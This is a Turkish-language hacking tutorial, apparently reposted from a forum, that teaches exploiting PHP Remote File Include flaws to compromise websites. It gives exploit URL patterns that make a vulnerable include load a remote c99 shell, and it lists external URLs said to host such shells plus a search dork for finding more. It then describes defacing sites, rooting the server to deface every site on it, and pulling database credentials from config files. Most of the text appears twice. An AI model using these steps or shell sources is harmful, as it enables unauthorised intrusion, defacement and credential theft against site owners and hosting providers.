1)RFI Nedir ?
*RFI : "Remote File Include" söz öbeğinin kısaltılmış halidir.
Türkçe anlamı ise "Uzaktan Dosya Çalıştırmak"tır
2)RFI neden kaynaklanır ?
*RFI, PHP Scriptlerde kodlama hatalarından kaynaklanır.
Peki bu kodlama hataları neden kaynaklanır ? Genelde webmaster üşengeçliğinden
3)RFI Açıklarından nasıl yararlanılır ?
*Şimdi geçelim bu açıklardan nasıl yararlanacağımıza...
PHP Kodlamalarda include komutu ile çalıştırılması gereken dosyanın yolu gösterilir...
Biz ne mi yapacağız ? Bu yolu kullanarak o dosya yerine bizim istediğimiz bir dosyayı çalıştıracağız.
*Peki bu ne gibi bir işe yarar ?
Eğer serverdaki dizinleri gösterebilen, dosya upload edilebilen, gerektiğinde port açabilen kodlar çalıştırılırsa sadece siteye değil tüm server'a hakim olunabiliyor.
Siteye ve Servera hakim olmamızı sağlayan bu kodlara da "ListPath" denir. (c99.php, r57.php gibi)
*Eee buraya kadar tamam da biz bu açıkları nereden mi bulucaz diyorsunuz? www.milw0rm.com ve www.prowebline.org gibi adreslerden bulabileceğiniz gibi kodları tarayıp kendiniz de bulabilirsiniz.
RFI aramayı aşağıda detaylı bir şekilde anlatacağım.
4)RFI Nerelerde Bulunur ?
*Şimdi geçelim kodlara.
Bakalım nerelerde RFI açıkları bulunuyormuş
PHP Kodlarda kullanılan şu komutlar bizler için önem taşıyor: include, include_once, require ve require_once
Açıklar bu kodların olduğu yerlerde bulunmakta !
*Şimdi bir örnekle açıklayacak olursak:
include($relight); in /html/contact.php
"$" karakterinden sonraki bölüm önemli. Dosya çalıştırma yolu relight oluyor ve exploit şu şekilde oluyor:
http://www.example.com/html/contact....lladresi.com/?
Eğer Bir shell adresiniz yoksa bunu da aşağıda sizlerle paylaşıcam
*Daha karışık bir kod inceleyecek olursak :
include($relight_pwl_org . 'config.php'); in html/contact/forum/index.php
Böyle bir kod bulduğumuzda ise exploit şu şekilde olmalı:
http://www.example.com/html/contact/...lladresi.com/?
5)Hedefe Saldırı !
a)Yazma İzni Olan Hedefe saldırı:
*Shellimiz çalıştıysa hemen permlere bakıyoruz. Yazma iznimiz var mı, yok mu ?
Index basacağınız dosyanın yanında yazan rwxrwxrwx gibi şeyler ne anlama geliyor onu da anlatayım
r : read yani okuma izni
w : write yani yazma izni
x : executable yani çalıştırma izni
*Bu gibi yazılar 9 karakterden oluşur
İlk 3'ü yönetici-yetkili sahibinin, ikinci 3'ü kullanıcı grubunun, son 3'ü ise herhangi birinin yetkileri.
Yani yukarıdaki gibi bir perm olduğunda işimiz kolay demektir.
Shellimizin Upload kısmından index'imizi upload ederiz ve bir bakmışız site tarafımızca hacklenmiş
Sadece Bu kadar mı ? Hayır. Siteye her türlü zararı verebiliriz. Fakat shell kullanımını çok iyi biliyor olmak gerek.
Mesela sadece bu siteye basacağımıza shell sayesinde server'ı rootlar tüm siteleri deface ederiz.
Shell kullanımını da inşallah ileride anlatırım.
Şimdi biz konumuza geçelim.
b)Yazma İzni Olmayan Hedefe Saldırı:
*Örneğin sitenin permleri "rwxrwxr-x" bu şekilde olsun
Hiçbir şey yapmamıza izin verilmiyor.
O zaman sitedeki dosyaları inceleyip "config.php" ve "configuration.php" gibi dosyaları bulacağız
Bu dosyaların içlerinde DB bilgileri bulunur.
$dbhost= "localhost";
$dbnuname= "root";
$dbpass= "123456";
$dbname="prowebline";
gibi kodları bulup c99 shell'de SQL kısmına gelerek, bu bilgileri girip sitenin database'ine ulaşabilirsiniz.
6)RFI Açıkları Nasıl bulunur?
*PHP Scriptlerde "ctrl+f" yaparak include, include_once, require, require_once vb. kodları arayabileceğimiz gibi bunu active perl ve inc.pl dosyalarının yardımıyla da yapabiliriz.
ActivePerl sisteminizde kurulu diyelim...
inc.pl dosyasını c:/perl/bin klasörünün içine atıyoruz. Inc.pl dosyası olmayan arkadaşlar için dökümanın sonunda onu da vericem.
Daha sonra taratacağımız scripti de c:/perl/bin klasörüne atıyoruz. Örneğin script dosyamızın ismi "a" olsun
O zaman taratmaya başlayalım.
İlk olarak başlat>çalıştır>cmd yapıyoruz...
Daha sonra sırasıyla komutlar şu şekilde :
cd..
cd..
cd perl
cd bin
inc.pl (Şimdi size bir soru soracak hangi dosyayı açayım gibilerden
Siz de burada scriptinizi göstereceksiniz. Biz scriptimizin adını "a" yapmıştık o zaman son komut) :
a
*Şimdi size results adıyla bir html dosyası oluşturacak.
Tekrar c:/perl/bin klasörüne gidip results.html'i açıyoruz, bakıyoruz rfı var mıymış? Yoksa zaten boş oluyor.
Sol tarafta kodun dizinini sağda ise kodu veriyor.
Örnek:
a/pwl.php | include($relight . 'config.php');
Bunların kullanımını da yukarı da öğrenmiştik zaten
Hadi Allah'a Emanet Olun.
Shell Adresleri :
http://r3light.ch/hacked/c99.txt?
http://w7ed.by.ru/c99.txt?
http://m4nn3r.by.ru/c99.txt?
*Eğer bunlar kullanılamaz durumdaysa
google'a inurl:c99.txt? veya inurl:r57.txt? yazarak shell adresi temin edebiliriz
Shell Kullanımı :
http://uploaded.to/?id=jj519x
ActivePerl Download :
http://www.downloadarsivi.com/746/Ya.../download.html
inc.pl download : (c:/perl/bin dosyasının içine atılacak)
http://uploaded.to/?id=3dkrx0
Alıntıdır...
*RFI : "Remote File Include" söz öbeğinin kısaltılmış halidir.
Türkçe anlamı ise "Uzaktan Dosya Çalıştırmak"tır
2)RFI neden kaynaklanır ?
*RFI, PHP Scriptlerde kodlama hatalarından kaynaklanır.
Peki bu kodlama hataları neden kaynaklanır ? Genelde webmaster üşengeçliğinden
3)RFI Açıklarından nasıl yararlanılır ?
*Şimdi geçelim bu açıklardan nasıl yararlanacağımıza...
PHP Kodlamalarda include komutu ile çalıştırılması gereken dosyanın yolu gösterilir...
Biz ne mi yapacağız ? Bu yolu kullanarak o dosya yerine bizim istediğimiz bir dosyayı çalıştıracağız.
*Peki bu ne gibi bir işe yarar ?
Eğer serverdaki dizinleri gösterebilen, dosya upload edilebilen, gerektiğinde port açabilen kodlar çalıştırılırsa sadece siteye değil tüm server'a hakim olunabiliyor.
Siteye ve Servera hakim olmamızı sağlayan bu kodlara da "ListPath" denir. (c99.php, r57.php gibi)
*Eee buraya kadar tamam da biz bu açıkları nereden mi bulucaz diyorsunuz? www.milw0rm.com ve www.prowebline.org gibi adreslerden bulabileceğiniz gibi kodları tarayıp kendiniz de bulabilirsiniz.
RFI aramayı aşağıda detaylı bir şekilde anlatacağım.
4)RFI Nerelerde Bulunur ?
*Şimdi geçelim kodlara.
Bakalım nerelerde RFI açıkları bulunuyormuş
PHP Kodlarda kullanılan şu komutlar bizler için önem taşıyor: include, include_once, require ve require_once
Açıklar bu kodların olduğu yerlerde bulunmakta !
*Şimdi bir örnekle açıklayacak olursak:
include($relight); in /html/contact.php
"$" karakterinden sonraki bölüm önemli. Dosya çalıştırma yolu relight oluyor ve exploit şu şekilde oluyor:
http://www.example.com/html/contact....lladresi.com/?
Eğer Bir shell adresiniz yoksa bunu da aşağıda sizlerle paylaşıcam
*Daha karışık bir kod inceleyecek olursak :
include($relight_pwl_org . 'config.php'); in html/contact/forum/index.php
Böyle bir kod bulduğumuzda ise exploit şu şekilde olmalı:
http://www.example.com/html/contact/...lladresi.com/?
5)Hedefe Saldırı !
a)Yazma İzni Olan Hedefe saldırı:
*Shellimiz çalıştıysa hemen permlere bakıyoruz. Yazma iznimiz var mı, yok mu ?
Index basacağınız dosyanın yanında yazan rwxrwxrwx gibi şeyler ne anlama geliyor onu da anlatayım
r : read yani okuma izni
w : write yani yazma izni
x : executable yani çalıştırma izni
*Bu gibi yazılar 9 karakterden oluşur
İlk 3'ü yönetici-yetkili sahibinin, ikinci 3'ü kullanıcı grubunun, son 3'ü ise herhangi birinin yetkileri.
Yani yukarıdaki gibi bir perm olduğunda işimiz kolay demektir.
Shellimizin Upload kısmından index'imizi upload ederiz ve bir bakmışız site tarafımızca hacklenmiş
Sadece Bu kadar mı ? Hayır. Siteye her türlü zararı verebiliriz. Fakat shell kullanımını çok iyi biliyor olmak gerek.
Mesela sadece bu siteye basacağımıza shell sayesinde server'ı rootlar tüm siteleri deface ederiz.
Shell kullanımını da inşallah ileride anlatırım.
Şimdi biz konumuza geçelim.
b)Yazma İzni Olmayan Hedefe Saldırı:
*Örneğin sitenin permleri "rwxrwxr-x" bu şekilde olsun
Hiçbir şey yapmamıza izin verilmiyor.
O zaman sitedeki dosyaları inceleyip "config.php" ve "configuration.php" gibi dosyaları bulacağız
Bu dosyaların içlerinde DB bilgileri bulunur.
$dbhost= "localhost";
$dbnuname= "root";
$dbpass= "123456";
$dbname="prowebline";
gibi kodları bulup c99 shell'de SQL kısmına gelerek, bu bilgileri girip sitenin database'ine ulaşabilirsiniz.
6)RFI Açıkları Nasıl bulunur?
*PHP Scriptlerde "ctrl+f" yaparak include, include_once, require, require_once vb. kodları arayabileceğimiz gibi bunu active perl ve inc.pl dosyalarının yardımıyla da yapabiliriz.
ActivePerl sisteminizde kurulu diyelim...
inc.pl dosyasını c:/perl/bin klasörünün içine atıyoruz. Inc.pl dosyası olmayan arkadaşlar için dökümanın sonunda onu da vericem.
Daha sonra taratacağımız scripti de c:/perl/bin klasörüne atıyoruz. Örneğin script dosyamızın ismi "a" olsun
O zaman taratmaya başlayalım.
İlk olarak başlat>çalıştır>cmd yapıyoruz...
Daha sonra sırasıyla komutlar şu şekilde :
cd..
cd..
cd perl
cd bin
inc.pl (Şimdi size bir soru soracak hangi dosyayı açayım gibilerden
a
*Şimdi size results adıyla bir html dosyası oluşturacak.
Tekrar c:/perl/bin klasörüne gidip results.html'i açıyoruz, bakıyoruz rfı var mıymış? Yoksa zaten boş oluyor.
Sol tarafta kodun dizinini sağda ise kodu veriyor.
Örnek:
a/pwl.php | include($relight . 'config.php');
Bunların kullanımını da yukarı da öğrenmiştik zaten
Hadi Allah'a Emanet Olun.
Shell Adresleri :
http://r3light.ch/hacked/c99.txt?
http://w7ed.by.ru/c99.txt?
http://m4nn3r.by.ru/c99.txt?
*Eğer bunlar kullanılamaz durumdaysa
google'a inurl:c99.txt? veya inurl:r57.txt? yazarak shell adresi temin edebiliriz
Shell Kullanımı :
http://uploaded.to/?id=jj519x
ActivePerl Download :
http://www.downloadarsivi.com/746/Ya.../download.html
inc.pl download : (c:/perl/bin dosyasının içine atılacak)
http://uploaded.to/?id=3dkrx0
Alıntıdır...
